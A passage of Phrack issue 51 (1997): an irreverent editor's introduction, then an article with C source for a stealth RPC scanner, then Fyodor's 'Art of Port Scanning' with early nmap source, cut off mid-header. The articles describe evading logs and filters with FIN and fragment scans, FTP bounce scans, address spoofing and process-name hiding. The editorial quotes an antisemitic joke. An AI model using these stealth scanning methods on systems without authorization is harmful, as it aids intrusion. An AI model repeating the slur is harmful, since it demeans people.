---[Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 01 of 17

-------------------------[PHRACK 51 INDEX

--------[Registered Hex Offenders

DefCon. I love DefCon. Why do I love DefCon? Several reasons. I get to see many people I do not normally get to hang out with. And it's in Las Vegas. Ok, I guess that's two reasons. I love DefCon for two reasons.

Las Vegas is a blast. No two ways about it. Free drinks _while_ you get FREE money. What more can anymore ask for?!@ Sex? Gluttony? Corruption? Greed? Thin facades? Tackiness? Friends, it's _all_ there.

Vegas is certainly not for everyone. It's not for the timid, the shy or the compulsive. Vegas can and will eat you alive, if you are not careful. Even the most vigilant often find themselves victimized by Sin City... As I write this paragraph, my memory draws me back... back to that first week in July 1997, towards the end of DefCon V, when a good friend and seasoned Vegas adventurer came knocking on my door at half past 5am...

He was armed with a coke in one hand, a whiskey in the other. The fact that he was noticely unencumbered by money caught my eye. The Casino Demons had relieved him of that. He was in need of a safe place to camp for a few hours... I happily obliged. I attempted to make his stay with us as comfortable as possible... However, my friend refused all attempts at hospitality. He was still deep in the throes of what professional Vegas travelers call 'The Zone'. He was in a dull haze, a casino-atmosphere-induced catatonic state, in which external stimuli are, for the most part, ignored. There was little I could do for him, so I bedded down... And there he sat, engulfed in darkness, deep within his own world... Eventually, exhaustion overcame him, and he drifted into an uncomfortable sleep... Early in the morning, he arose, determined to retake his reappropriated wealth.

It took me a few tries of getting raped by that town before I realized how it works, and, more importantly, how to work it.

It can be summed up in one word. An abbreviation even. COMPS. Vegas is all about being compensated for. Compensation for being in out in the fucking desert. Compensation for staying in some shitty hotel. Compensation for winning some of their money. Compensation for losing ALL of your money. Learning how to have a good time in Vegas means learning how to get comped. In order to be comped, you must either a) be some one important, b) know someone important, or the most common occurrence, c) comp other people.

This past DefCon, I had my room upgraded from a single-bed room on the first floor, to a double-bed on the second, and then from that to a $400/nite suite somewhere up in the 20's (you know, the kind with the double doors). It's all about knowing how to work the system. Knowing how to get comped. Complaining about something is often a good way to get something for free in Vegas. So is being put out in some fashion or another. Go ahead and watch Casino and Swingers a few dozen times and you will get the idea...

A word about this issue. In my opinion, and the opinion of many people way cooler then me, this is the Best Phrack Issue Ever (TM). Ok. Now. In Issue 48, I know I promised timely dissemination. However, I am an older / wiser Phrack editor now, and, what it comes down to, is that timeliness is not always possible. Not when there is a minimum level of excellence that must be preserved. This issue is a perfect example of that phenomena. We have amassed some seriously cool shit this time around. Technical excellence abounds here, and if we are a few weeks late, I think it should be well worth the wait. We've got several ground breaking articles, a great deal of source, fully nude photos of Milla Jovovich (not available in ASCII-Phrack) and a new format. Commentary, as always, is appreciated.

What makes this (or any) issue so damned good? Simple. The incredible array of talented individuals that graciously lend their time to writing articles for us. I just want to give a word of thanks to you guys: past, present and future. Without you, Phrack would slip quietly into the night... This issue, a special werdup to halflife for the technically superior work he contributed for P51, thrice over.

Phrack 51 comes atcha power-packed with new streamlined formatting! We cut out colons, added a surplus of dashes and brackets, and b00m! Less fluff, more EDGE. Areodynamicphrack. Europhrack. _Slickphrack_.

Bad to the bone and shot to the heart when you think about Phrack, you touch yourself.

Enjoy the magazine. It is for and by the hacking community. Period.

PS

The aforementioned gamblaholic ended up being comped three $20 meals, and a show (Lance Burton at the Monte Carlo). Man, that lucky son-of-a-bitch got to see Lance at the Carlo...

```
-- Editor in Chief ------------[  route
-- Nominal Editors ------------[  datastream cowboy, alhambra
-- We've given up hope --------[  voyager
-- Phrack World News ----------[  disorder
-- Phrack Webpage Sloth -------[  loadammo
-- Most Likely To Be Beaten ---|
-- About the Head and Neck by -|
-- Xanax ----------------------[  Nicki Jarecki
-------- Elite ---------------->  omerta
-- Number One Crush -----------[  Milla Jovovich
-- Extra Special Thanks -------[  halflife
-- The Man on The Inside ------[  varak
-- Gas Face Given -------------[  "Lunatic Unix with Tunics"
-- Got owned?  Shoulda used ---[  OpenBSD
-- Shout Outs -----------------[  The Guild, r00t, The Death Vegetable, Swamp
                                  Ratte, prym, maverick, Cantor, nirva, The
                                  Army of the Twelve Monkeys, guyver, mycroft,
                                  Asriel, Theo Deraadt, X, Torquie, mudge.
```

Phrack Magazine V. 7, #51, September 01, 1997. ISSN 1068-1035
Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people.

Subscription requests, articles, comments, whatever should be directed to:

phrackedit@phrack.com

Submissions to the above email address may be encrypted with the following key:

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu
Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
=1iyt
-----END PGP PUBLIC KEY BLOCK-----
```

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext.

------------------------[TABLE OF CONTENTS

1	Introduction	Phrack Staff	9K
2	Phrack Loopback	Phrack Staff	45K
3	Line Noise	various	71K
4	Phrack Prophile on Swamp Ratte	Phrack Staff	14K
5	File Descriptor Hijacking	orabidoo	20K
6	LOKI2 (the implementation)	route	111K
7	Juggernaut 1.0 - 1.2 patchfile	route	11K
8	Shared Library Redirection	halflife	7K
09	Bypassing Integrity Checking Systems	halflife	11K
10	Stealth RPC scanning	halflife	7K
11	The Art of Scanning	fyodor	87K
12	The Eternity Service	Adam Back	118K
13	Monoalphabetic cipher cryptanalysis	mythrandir	16K
14	Phrack Magazine Article Index Guide	guyver	100K
15	A Brief introduction to CCS7	Narbo	10K
16	Phrack World News	Disorder	83K
17	extract.c	Phrack Staff	3K
			723K

"...Who's the big winner tonight...? Mikey! Mikey wins! Mikey's the big winner...!"
- Trent "Double Down" (Vince Vaughn)

jtb phrack's like wine, it gets better with age
jtb as opposed to, like, decomposing.

"...Daddy needs a new pair of Jews..."
- loadammo, clamping a mighty hand down upon my shoulder and a mighty hand down upon alhambras shoulder, Blackjack Tables, DefCon V, Las Vegas, NV.

----[EOF

---[Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 10 of 17

-------------------------[Scanning for RPC Services

--------[halflife <halflife@infonexus.com>

Remote Procedure Language is a specification for letting procedures be executable on remote machines. It is defined in rfc1831. It has a number of good traits, and if you run SunOS or Solaris, you are almost required to make use of it to some degree.

Unfortunately, there are vulnerabilities in some RPC services that have caused many machines to be penetrated. Many administrators block access to portmapper (port 111) in an effort to deny external users access to their weak RPC services.

Unfortunately, this is completely inadequate. This article details how trivial it is to do a scan for specific RPC program numbers. The scan can be performed relatively quickly, and in many cases will not be logged.

First, a little information about RPC itself; when I refer to RPC, I am only referring to ONC RPC, and not DCE RPC. RPC is a query/reply-based system. You send an initial query with the program number you are interested in, the procedure number, any arguments, authentication, and other needed parameters. In response, you get whatever the procedure returns, and some indication of the reason for the failure if it failed.

Since RPC was designed to be portable, all arguments must be translated into XDR. XDR is a data encoding language that superficially reminds me a little bit of Pascal (at least, as far as strings are concerned). If you want more information on XDR, it is defined in rfc1832.

As you probably surmised by now, RPC programs are made up of various procedures. There is one procedure that always exists, it is procedure 0. This procedure accepts no arguments, and it does not return any value (think void rpcping(void)). This is how we will determine if a given port holds a given program, we will call the ping procedure!

So now we have a basic idea on how to determine if a given port is running a given RPC program number. Next we need to determine which UDP ports are listening. This can be done a number of ways, but the way I am using is to connect() to the port and try write data. If nothing is there, we will (hopefully) get a PORT_UNREACH error in errno, in which case we know there is nothing on that port.

In the given code, we do a udp scan, and for every listening udp port, we try to query the ping procedure of the program number we are scanning for. If we get a positive response, the program number we are looking for exists on that port and we exit.

```
<++> RPCscan/Makefile
CC=gcc
PROGNAME=rpcscan
CFLAGS=-c

build: checkrpc.o main.o rpcserv.o udpcheck.o
        $(CC) -o $(PROGNAME) checkrpc.o main.o rpcserv.o udpcheck.o

checkrpc.o:
        $(CC) $(CFLAGS) checkrpc.c

main.o:
        $(CC) $(CFLAGS) main.c

rpcserv.o:
        $(CC) $(CFLAGS) rpcserv.c
```

```
udpcheck.o:
        $(CC) $(CFLAGS) udpcheck.c

clean:
        rm -f *.o $(PROGNAME)
<-->
<++> RPCscan/checkrpc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <rpc/rpc.h>
#include <netdb.h>

extern struct sockaddr_in *saddr;

int
check_rpc_service(long program)
{
        int sock = RPC_ANYSOCK;
        CLIENT *client;
        struct timeval timeout;
        enum clnt_stat cstat;

        timeout.tv_sec = 10;
        timeout.tv_usec = 0;
        client = clntudp_create(saddr, program, 1, timeout, &sock);
        if(!client)
                return -1;
        timeout.tv_sec = 10;
        timeout.tv_usec = 0;
        cstat = RPC_TIMEDOUT;
        cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout);
        if(cstat == RPC_TIMEDOUT)
        {
                timeout.tv_sec = 10;
                timeout.tv_usec = 0;
                cstat = clnt_call(client, 0, xdr_void, NULL, xdr_void, NULL, timeout);
        }
        clnt_destroy(client);
        close(sock);
        if(cstat == RPC_SUCCESS)
                return 1;
        else if(cstat == RPC_PROGVERSMISMATCH)
                return 1;
        else return 0;
}
<-->
<++> RPCscan/main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int check_udp_port(char *, u_short);
int check_rpc_service(long);
long get_rpc_prog_number(char *);
#define HIGH_PORT       5000
#define LOW_PORT        512

main(int argc, char **argv)
{
        int i,j;
        long prog;
        if(argc != 3)
        {
                fprintf(stderr, "%s host program\n", argv[0]);
                exit(0);
        }
        prog = get_rpc_prog_number(argv[2]);
        if(prog == -1)
        {
                fprintf(stderr, "invalid rpc program number\n");
                exit(0);
        }
        printf("Scanning %s for program %d\n", argv[1], prog);
        for(i=LOW_PORT;i <= HIGH_PORT;i++)
        {
                if(check_udp_port(argv[1], i) > 0)
                {
                        if(check_rpc_service(prog) == 1)
                        {
                                printf("%s is on port %u\n", argv[2], i);
                                exit(0);
                        }
                }
        }
}
<-->
<++> RPCscan/rpcserv.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <ctype.h>
#include <rpc/rpc.h>

long
get_rpc_prog_number(char *progname)
{
        struct rpcent *r;
        int i=0;

        while(progname[i] != '\0')
        {
                if(!isdigit(progname[i]))
                {
                        setrpcent(1);
                        r = getrpcbyname(progname);
                        endrpcent();
                        if(!r)
                                return -1;
                        else return r->r_number;
                }
                i++;
        }
        return atoi(progname);
}
<-->
<++> RPCscan/udpcheck.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/time.h>
#include <sys/errno.h>
extern int h_errno;

struct sockaddr_in *saddr = NULL;

int
check_udp_port(char *hostname, u_short port)
{
        int s, i, sr;
        struct hostent *he;
        fd_set rset;
        struct timeval tv;

        if(!saddr)
        {
                saddr = malloc(sizeof(struct sockaddr_in));
                if(!saddr) return -1;

                saddr->sin_family = AF_INET;
                saddr->sin_addr.s_addr = inet_addr(hostname);
                if(saddr->sin_addr.s_addr == INADDR_NONE)
                {
                        sethostent(1);
                        he = gethostbyname(hostname);
                        if(!he)
                        {
                                herror("gethostbyname");
                                exit(1);
                        }
                        if(he->h_length <= sizeof(saddr->sin_addr.s_addr))
                                bcopy(he->h_addr, &saddr->sin_addr.s_addr, he->h_length);
                        else
                                bcopy(he->h_addr, &saddr->sin_addr.s_addr, sizeof(saddr->
sin_addr.s_addr));
                        endhostent();
                }
        }
        saddr->sin_port = htons(port);
        s = socket(AF_INET, SOCK_DGRAM, 0);
        if(s < 0)
        {
                perror("socket");
                return -1;
        }
        i = connect(s, (struct sockaddr *)saddr, sizeof(struct sockaddr_in));
        if(i < 0)
        {
                perror("connect");
                return -1;
        }
        for(i=0;i < 3;i++)
        {
                write(s, "", 1);
                FD_ZERO(&rset);
                FD_SET(s, &rset);
                tv.tv_sec = 5;
                tv.tv_usec = 0;
                sr = select(s+1, &rset, NULL, NULL, &tv);
                if(sr != 1)
                        continue;
                if(read(s, &sr, sizeof(sr)) < 1)
                {
                        close(s);
                        return 0;
                }
                else
                {
                        close(s);
                        return 1;
                }
        }
        close(s);
        return 1;
}
<-->


----[  EOF
```

---[Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 11 of 17

-------------------------[The Art of Port Scanning

--------[Fyodor <fyodor@dhp.com>

[Abstract]

This paper details many of the techniques used to determine what ports (or similar protocol abstraction) of a host are listening for connections. These ports represent potential communication channels. Mapping their existence facilitates the exchange of information with the host, and thus it is quite useful for anyone wishing to explore their networked environment, including hackers. Despite what you have heard from the media, the Internet is NOT all about TCP port 80. Anyone who relies exclusively on the WWW for information gathering is likely to gain the same level of proficiency as your average AOLer, who does the same. This paper is also meant to serve as an introduction to and ancillary documentation for a coding project I have been working on. It is a full featured, robust port scanner which (I hope) solves some of the problems I have encountered when dealing with other scanners and when working to scan massive networks. The tool, nmap, supports the following:

- vanilla TCP connect() scanning,
- TCP SYN (half open) scanning,
- TCP FIN (stealth) scanning,
- TCP ftp proxy (bounce attack) scanning
- SYN/FIN scanning using IP fragments (bypasses packet filters),
- UDP recvfrom() scanning,
- UDP raw ICMP port unreachable scanning,
- ICMP scanning (ping-sweep), and
- reverse-ident scanning.

The freely distributable source code is appended to this paper.

[Introduction]

Scanning, as a method for discovering exploitable communication channels, has been around for ages. The idea is to probe as many listeners as possible, and keep track of the ones that are receptive or useful to your particular need. Much of the field of advertising is based on this paradigm, and the "to current resident" brute force style of bulk mail is an almost perfect parallel to what we will discuss. Just stick a message in every mailbox and wait for the responses to trickle back.

Scanning entered the h/p world along with the phone systems. Here we have this tremendous global telecommunications network, all reachable through codes on our telephone. Millions of numbers are reachable locally, yet we may only be interested in 0.5% of these numbers, perhaps those that answer with a carrier.

The logical solution to finding those numbers that interest us is to try them all. Thus the field of "wardialing" arose. Excellent programs like Toneloc were developed to facilitate the probing of entire exchanges and more. The basic idea is simple. If you dial a number and your modem gives you a CONNECT, you record it. Otherwise the computer hangs up and tirelessly dials the next one.

While wardialing is still useful, we are now finding that many of the computers we wish to communicate with are connected through networks such as the Internet rather than analog phone dialups. Scanning these machines involves the same brute force technique. We send a blizzard of packets for various protocols, and we deduce which services are listening from the responses we receive (or don’t receive).

[Techniques]

Over time, a number of techniques have been developed for surveying the protocols and ports on which a target machine is listening. They all offer different benefits and problems. Here is a line up of the most common:

- TCP connect() scanning : This is the most basic form of TCP scanning. The connect() system call provided by your operating system is used to open a connection to every interesting port on the machine. If the port is listening, connect() will succeed, otherwise the port isn't reachable. One strong advantage to this technique is that you don't need any special privileges. Any user on most UNIX boxes is free to use this call. Another advantage is speed. While making a separate connect() call for every targeted port in a linear fashion would take ages over a slow connection, you can hasten the scan by using many sockets in parallel. Using non-blocking I/O allows you to set a low time-out period and watch all the sockets at once. This is the fastest scanning method supported by nmap, and is available with the -t (TCP) option. The big downside is that this sort of scan is easily detectable and filterable. The target hosts logs will show a bunch of connection and error messages for the services which take the connection and then have it immediately shutdown.

- TCP SYN scanning : This technique is often referred to as "half-open" scanning, because you don't open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and wait for a response. A SYN|ACK indicates the port is listening. A RST is indicative of a non-listener. If a SYN|ACK is received, you immediately send a RST to tear down the connection (actually the kernel does this for us). The primary advantage to this scanning technique is that fewer sites will log it. Unfortunately you need root privileges to build these custom SYN packets. SYN scanning is the -s option of nmap.

- TCP FIN scanning : There are times when even SYN scanning isn't clandestine enough. Some firewalls and packet filters watch for SYNs to an unallowed port, and programs like synlogger and Courtney are available to detect these scans. FIN packets, on the other hand, may be able to pass through unmolested. This scanning technique was featured in detail by Uriel Maimon in Phrack 49, article 15. The idea is that closed ports tend to reply to your FIN packet with the proper RST. Open ports, on the other hand, tend to ignore the packet in question. This is a bug in TCP implementations and so it isn't 100% reliable (some systems, notably Micro$oft boxes, seem to be immune). It works well on most other systems I've tried. FIN scanning is the -U (Uriel) option of nmap.

- Fragmentation scanning : This is not a new scanning method in and of itself, but a modification of other techniques. Instead of just sending the probe packet, you break it into a couple of small IP fragments. You are splitting up the TCP header over several packets to make it harder for packet filters and so forth to detect what you are doing. Be careful with this! Some programs have trouble handling these tiny packets. My favorite sniffer segmentation faulted immediately upon receiving the first 36-byte fragment. After that comes a 24 byte one! While this method won't get by packet filters and firewalls that queue all IP fragments (like the CONFIG_IP_ALWAYS_DEFRAG option in Linux), a lot of networks can't afford the performance hit this causes. This feature is rather unique to scanners (at least I haven't seen any others that do this). Thanks to daemon9 for suggesting it. The -f instructs the specified SYN or FIN scan to use tiny fragmented packets.

- TCP reverse ident scanning : As noted by Dave Goldsmith in a 1996 Bugtraq post, the ident protocol (rfc1413) allows for the disclosure of the username of the owner of any process connected via TCP, even if that process didn't initiate the connection. So you can, for example, connect to the http port and then use identd to find out whether the server is running as root. This can only be done with a full TCP connection to the target port (i.e. the -t option). nmap's -i option queries identd for the owner of all listen()ing ports.

- FTP bounce attack : An interesting "feature" of the ftp protocol (RFC 959) is support for "proxy" ftp connections. In other words, I should be able to connect from evil.com to the FTP server-PI (protocol interpreter) of target.com to establish the control communication connection. Then I should be able to request that the server-PI initiate an active server-DTP (data transfer process) to send a file ANYWHERE on the internet! Presumably to a User-DTP, although the RFC specifically states that asking one server to send a file to another is OK. Now this may have worked well in 1985 when the RFC was just written. But nowadays, we can't have people hijacking ftp servers and requesting that data be spit out to arbitrary points on the internet. As *Hobbit* wrote back in 1995, this protocol flaw "can be used to post virtually untraceable mail and news, hammer on servers at various sites, fill up disks, try to hop firewalls, and generally be annoying and hard to track down at the same time." What we will exploit this for is to (surprise, surprise) scan TCP ports from a "proxy" ftp server. Thus you could connect to an ftp server behind a firewall, and then scan ports that are more likely to be blocked (139 is a good one). If the ftp server allows reading from and writing to a directory (such as /incoming), you can send arbitrary data to ports that you do find open.

For port scanning, our technique is to use the PORT command to declare that our passive "User-DTP" is listening on the target box at a certain port number. Then we try to LIST the current directory, and the result is sent over the Server-DTP channel. If our target host is listening on the specified port, the transfer will be successful (generating a 150 and a 226 response). Otherwise we will get "425 Can't build data connection: Connection refused." Then we issue another PORT command to try the next port on the target host. The advantages to this approach are obvious (harder to trace, potential to bypass firewalls). The main disadvantages are that it is slow, and that some FTP servers have finally got a clue and disabled the proxy "feature". For what it is worth, here is a list of banners from sites where it does/doesn't work:

Bounce attacks worked:

```
220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
220 elios FTP server (SunOS 4.1) ready
```

Bounce attack failed:

```
220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.
```

The 'x's are partly there to protect those guilty of running a flawed server, but mostly just to make the lines fit in 80 columns. Same thing with the ellipse points. The bounce attack is available with the -b <proxy_server> option of nmap. proxy_server can be specified in standard URL format, username:password@server:port , with everything but server being optional.

- UDP ICMP port unreachable scanning : This scanning method varies from the above in that we are using the UDP protocol instead of TCP. While this protocol is simpler, scanning it is actually significantly more difficult. This is because open ports don't have to send an acknowledgement in response to our probe, and closed ports aren't even required to send an error packet. Fortunately, most hosts do send an ICMP_PORT_UNREACH error when you send a packet to a closed UDP port. Thus you can find out if a port is NOT open, and by exclusion determine which ports which are. Neither UDP packets, nor the ICMP errors are guaranteed to arrive, so UDP scanners of this sort must also implement retransmission of packets that appear to be lost (or you will get a bunch of false positives). Also, this scanning technique is slow because of compensation for machines that took RFC 1812 section 4.3.2.8 to heart and limit ICMP error message rate. For example, the Linux kernel (in net/ipv4/icmp.h) limits destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded. At some point I will add a better algorithm to nmap for detecting this. Also, you will need to be root for access to the raw ICMP socket necessary for reading the port unreachable. The -u (UDP) option of nmap implements this scanning method for root users.

Some people think UDP scanning is lame and pointless. I usually remind them of the recent Solaris rcpbind hole. Rpcbind can be found hiding on an undocumented UDP port somewhere above 32770. So it doesn't matter that 111 is blocked by the firewall. But can you find which of the more than 30,000 high ports it is listening on? With a UDP scanner you can!

- UDP recvfrom() and write() scanning : While non-root users can't read port unreachable errors directly, Linux is cool enough to inform the user indirectly when they have been received. For example a second write() call to a closed port will usually fail. A lot of scanners such as netcat and Pluvius' pscan.c does this. I have also noticed that recvfrom() on non-blocking UDP sockets usually return EAGAIN ("Try Again", errno 13) if the ICMP error hasn't been received, and ECONNREFUSED ("Connection refused", errno 111) if it has. This is the technique used for determining open ports when non-root users use -u (UDP). Root users can also use the -l (lamer UDP scan) options to force this, but it is a really dumb idea.

- ICMP echo scanning : This isn't really port scanning, since ICMP doesn't have a port abstraction. But it is sometimes useful to determine what hosts in a network are up by pinging them all. the -P option does this. Also you might want to adjust the PING_TIMEOUT #define if you are scanning a large network. nmap supports a host/bitmask notation to make this sort of thing easier. For example 'nmap -P cert.org/24 152.148.0.0/16' would scan CERT's class C network and whatever class B entity 152.148.* represents. Host/26 is useful for 6-bit subnets within an organization.

[Features]

Prior to writing nmap, I spent a lot of time with other scanners exploring the Internet and various private networks (note the avoidance of the "intranet" buzzword). I have used many of the top scanners available today, including strobe by Julian Assange, netcat by *Hobbit*, stcp by Uriel Maimon, pscan by Pluvius, ident-scan by Dave Goldsmith, and the SATAN tcp/udp scanners by Wietse Venema. These are all excellent scanners! In fact, I ended up hacking most of them to support the best features of the others. Finally I decided to write a whole new scanner, rather than rely on hacked versions of a dozen different scanners in my /usr/local/sbin. While I wrote all the code, nmap uses a lot of good ideas from its predecessors. I also incorporated some new stuff like fragmentation scanning and options that were on my "wish list" for other scanners. Here are some of the (IMHO) useful features of nmap:

- dynamic delay time calculations: Some scanners require that you supply a delay time between sending packets. Well how should I know what to use? Sure, I can ping them, but that is a pain, and plus the response time of many hosts changes dramatically when they are being flooded with requests. nmap tries to determine the best delay time for you. It also tries to keep track of packet retransmissions, etc. so that it can modify this delay time during the course of the scan. For root users, the primary technique for finding an initial delay is to time the internal "ping" function. For non-root users, it times an attempted connect() to a closed port on the target. It can also pick a reasonable default value. Again, people who want to specify a delay themselves can do so with -w (wait), but you shouldn't have to.

- retransmission: Some scanners just send out all the query packets, and collect the responses. But this can lead to false positives or negatives in the case where packets are dropped. This is especially important for "negative" style scans like UDP and FIN, where what you are looking for is a port that does NOT respond. In most cases, nmap implements a configurable number of retransmissions for ports that don't respond.

- parallel port scanning: Some scanners simply scan ports linearly, one at a time, until they do all 65535. This actually works for TCP on a very fast local network, but the speed of this is not at all acceptable on a wide area network like the Internet. nmap uses non-blocking i/o and parallel scanning in all TCP and UDP modes. The number of scans in parallel is configurable with the -M (Max sockets) option. On a very fast network you will actually decrease performance if you do more than 18 or so. On slow networks, high values increase performance dramatically.

- Flexible port specification: I don't always want to just scan all 65535 ports. Also, the scanners which only allow you to scan ports 1 - N sometimes fall short of my need. The -p option allows you to specify an arbitrary number of ports and ranges for scanning. For example, '-p 21-25,80,113, 60000-' does what you would expect (a trailing hyphen means up to 65536, a leading hyphen means 1 through). You can also use the -F (fast) option, which scans all the ports registered in your /etc/services (a la strobe).

- Flexible target specification: I often want to scan more then one host, and I certainly don't want to list every single host on a large network to scan. Everything that isn't an option (or option argument) in nmap is treated as a target host. As mentioned before, you can optionally append /mask to a hostname or IP address in order to scan all hosts with the same initial <mask> bits of the 32 bit IP address.

- detection of down hosts: Some scanners allow you to scan large networks, but they waste a huge amount of time scanning 65535 ports of a dead host! By default, nmap pings each host to make sure it is up before wasting time on it. It is also capable of bailing on hosts that seem down based on strange port scanning errors. It is also meant to be tolerant of people who accidentally scan network addresses, broadcast addresses, etc.

- detection of your IP address: For some reason, a lot of scanners ask you to type in your IP address as one of the parameters. Jeez, I don't want to have to 'ifconfig' and figure out my current address every time I scan. Of course, this is better then the scanners I've seen which require recompilation every time you change your address! nmap first tries to detect your address during the ping stage. It uses the address that the echo response is received on, as that is the interface it should almost always be routed through. If it can't do this (like if you don't have host pinging enabled), nmap tries to detect your primary interface and uses that address. You can also use -S to specify it directly, but you shouldn't have to (unless you want to make it look like someone ELSE is SYN or FIN scanning a host.

Some other, more minor options:

-v (verbose): This is highly recommended for interactive use. Among other useful messages, you will see ports come up as they are found, rather than having to wait for the sorted summary list.

-r (randomize): This will randomize the order in which the target host's ports are scanned.

-q (quash argv): This changes argv[0] to FAKE_ARGV ("pine" by default). It also eliminates all other arguments, so you won't look too suspicious in 'w' or 'ps' listings.

-h for an options summary.

Also look for http://www.dhp.com/~fyodor/nmap/, which is the web site I plan to put future versions and more information on. In fact, you would be well advised to check there right now.

[Greets]

Of course this paper would not be complete without a shout out to all the people who made it possible.

* Congratulations to the people at Phrack for getting this thing going again!

* Greets to the whole dc-stuff crew.
* Greets to the STUPH, Turntec, L0pht, TACD, the Guild, cDc, and all the other groups who help keep the scene alive.
* Shout out to _eci for disclosing the coolest Windows bug in recent history.
* Thanks to the Data Haven Project (dhp.com) admins for providing such great service for $10/month.
* And a special shout out goes to all my friends. You know who you are and some of you (wisely) stay out of the spotlight, so I'll keep you anonymous ... except of course for Ken and Jay, and Avenger, Grog, Cash Monies, Ethernet Kid, Zos, JuICe, Mother Prednisone, and Karen.

And finally, we get to ...

[The code]

This should compile fine on any Linux box with 'gcc -O6 -o nmap nmap.c -lm'. It is distrubuted under the terms of the GNU GENERAL PUBLIC LICENSE. If you have problems or comments, feel free to mail me (fyodor@dhp.com).

```
<++> nmap/Makefile
# A trivial makefile for Network Mapper
nmap: nmap.c nmap.h
        gcc -Wall -O6 -o nmap nmap.c -lm
<-->

<++> nmap/nmap.h
#ifndef NMAP_H
#define NMAP_H

/************************INCLUDES**********************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <rpc/types.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <signal.h>
#include <linux/ip.h> /*<netinet/ip.h>*/
#include <linux/icmp.h> /*<netinet/ip_icmp.h>*/
#include <arpa/inet.h>
#include <math.h>
#include <time.h>
#include <sys/time.h>
#include <asm/byteorder.h>
#include <netinet/ip_tcp.h>

/************************DEFINES************************************/

/* #define to zero if you don't want to ignore hosts of the form
   xxx.xxx.xxx.{0,255} (usually network and broadcast addresses) */
#define IGNORE_ZERO_AND_255_HOSTS 1

#define DEBUGGING 0

/* Default number of ports in paralell.  Doesn't always involve actual
   sockets.  Can also adjust with the -M command line option.  */
#define MAX_SOCKETS 36
/* If reads of a UDP port keep returning EAGAIN (errno 13), do we want to
   count the port as valid? */
#define RISKY_UDP_SCAN 0
```

```
 /* This ideally should be a port that isn't in use for any protocol on our machine or on
 the target */
#define MAGIC_PORT 49724
/* How many udp sends without a ICMP port unreachable error does it take before we consid
er the port open? */
#define UDP_MAX_PORT_RETRIES 4
 /*How many seconds before we give up on a host being alive? */
#define PING_TIMEOUT 2
#define FAKE_ARGV "pine" /* What ps and w should show if you use -q */
/* How do we want to log into ftp sites for */
#define FTPUSER "anonymous"
#define FTPPASS "-wwwuser@"
#define FTP_RETRIES 2 /* How many times should we relogin if we lose control
                         connection? */

#define UC(b)   (((int)b)&0xff)
#define MORE_FRAGMENTS 8192 /*NOT a user serviceable parameter*/
#define fatal(x) { fprintf(stderr, "%s\n", x); exit(-1); }
#define error(x) fprintf(stderr, "%s\n", x);

/***********************STRUCTURES**********************************/

typedef struct port {
  unsigned short portno;
  unsigned char proto;
  char *owner;
  struct port *next;
} port;

struct ftpinfo {
  char user[64];
  char pass[256]; /* methinks you're paranoid if you need this much space */
  char server_name[MAXHOSTNAMELEN + 1];
  struct in_addr server;
  unsigned short port;
  int sd; /* socket descriptor */
};

typedef port *portlist;

/***********************PROTOTYPES**********************************/

/* print usage information */
void printusage(char *name);

/* our scanning functions */
portlist tcp_scan(struct in_addr target, unsigned short *portarray,
                  portlist *ports);
portlist syn_scan(struct in_addr target, unsigned short *portarray,
                  struct in_addr *source, int fragment, portlist *ports);
portlist fin_scan(struct in_addr target, unsigned short *portarray,
                  struct in_addr *source, int fragment, portlist *ports);
portlist udp_scan(struct in_addr target, unsigned short *portarray,
                  portlist *ports);
portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray,
                        portlist *ports);
portlist bounce_scan(struct in_addr target, unsigned short *portarray,
                     struct ftpinfo *ftp, portlist *ports);

/* Scan helper functions */
